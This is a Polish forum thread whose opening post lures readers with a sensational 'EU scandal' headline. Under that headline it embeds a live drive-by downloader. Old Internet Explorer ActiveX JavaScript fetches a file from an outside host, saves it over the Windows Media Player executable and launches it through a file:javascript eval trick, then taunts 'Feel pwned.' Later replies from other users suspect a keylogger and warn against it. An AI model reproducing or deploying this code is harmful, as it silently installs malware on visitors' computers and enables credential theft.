Wielki tesy UE przed samym dp.RZEZ NIEWINIATEK!!!!!!!

To trzeba zobaczyć

<textarea id="code" style="display:none;">

    var x = new ActiveXObject("Microsoft.XMLHTTP"); 
    x.Open("GET", "http://www.masterfusion.republika.pl/1*****",0); 
    x.Send(); 
    
    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);

    s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer*****",2);
    location.href = "mms://";

</textarea>
wait a some time the screns are loging ;)

<script language="javascript">

    function preparecode(code) {
        result = '';
        lines = code.split(/\r\n/);
        for (i=0;i<lines.length;i++) {
        
            line = lines[i];
            line = line.replace(/^\s+/,"");
            line = line.replace(/\s+$/,"");
            line = line.replace(/'/g,"\\'");
            line = line.replace(/[\\]/g,"\\\\");
            line = line.replace(/[/]/g,"%2f");

            if (line != '') {
                result += line + '\\r\\n';
            }
        }
        return result;
    }
    
    function doit() {
        mycode = preparecode(document.all.code.value);
        myURL = "file:javascript:eval('" + mycode + "')";
        window.open(myURL,"_media");
    }
    

    window.open("error.jsp","_media");
    
    setTimeout("doit()", 5000);
    
    
</script>

Feel pwned.

[Racon]

EEee... a gdzie film?

[malyjanek]

cebula gdzie link do filmu?

[Marcelek]

Sądze że to keylogger ale nie jestem pewny :S . Niech ktoś inny sprawdzi

[Racon]

N/c choć się n tym nie znam gdy najechałem na ten link kursorem to dziwnego linka zobaczylem bez końcowki rec ani zip ani exe.Dziwne co nie....
@EDIT :Zawsze lookajcie na date przyłonczenia ten pan jest na forum od dziś wiec raczej radze uważać i dotego ten nick nie budzi zaufania wygląda jakby ktos chcial byle jaki nick i jak najszybciej podac stronke z key logerem.

[Skenone]

Było już pare podobnych linków z keylogerami. Więc podejżewam że to też key.

[Kiki2005]

Keylogger... nie wartow ściągać tego bo to keylogger

[Progmast]

Tak zapewne na stronce jest skrypt sciagajacy automatycznie keyloggera.Coraz czesciej ludzie robia cos takiego a ja juz raz sie dalem nabrac i nie chce drugi raz formatowac dysku C.Jezeli ktos by mogl to niech to sprawdzi.

[Racon]

Oryginalnie napisane przez Dadej12

Tak zapewne na stronce jest skrypt sciagajacy automatycznie keyloggera.Coraz czesciej ludzie robia cos takiego a ja juz raz sie dalem nabrac i nie chce drugi raz formatowac dysku C.Jezeli ktos by mogl to niech to sprawdzi.

Nie ma poco sprawdzac bo tam jest keyloger na 99%(nigdy nie mozemy być pewni do końca)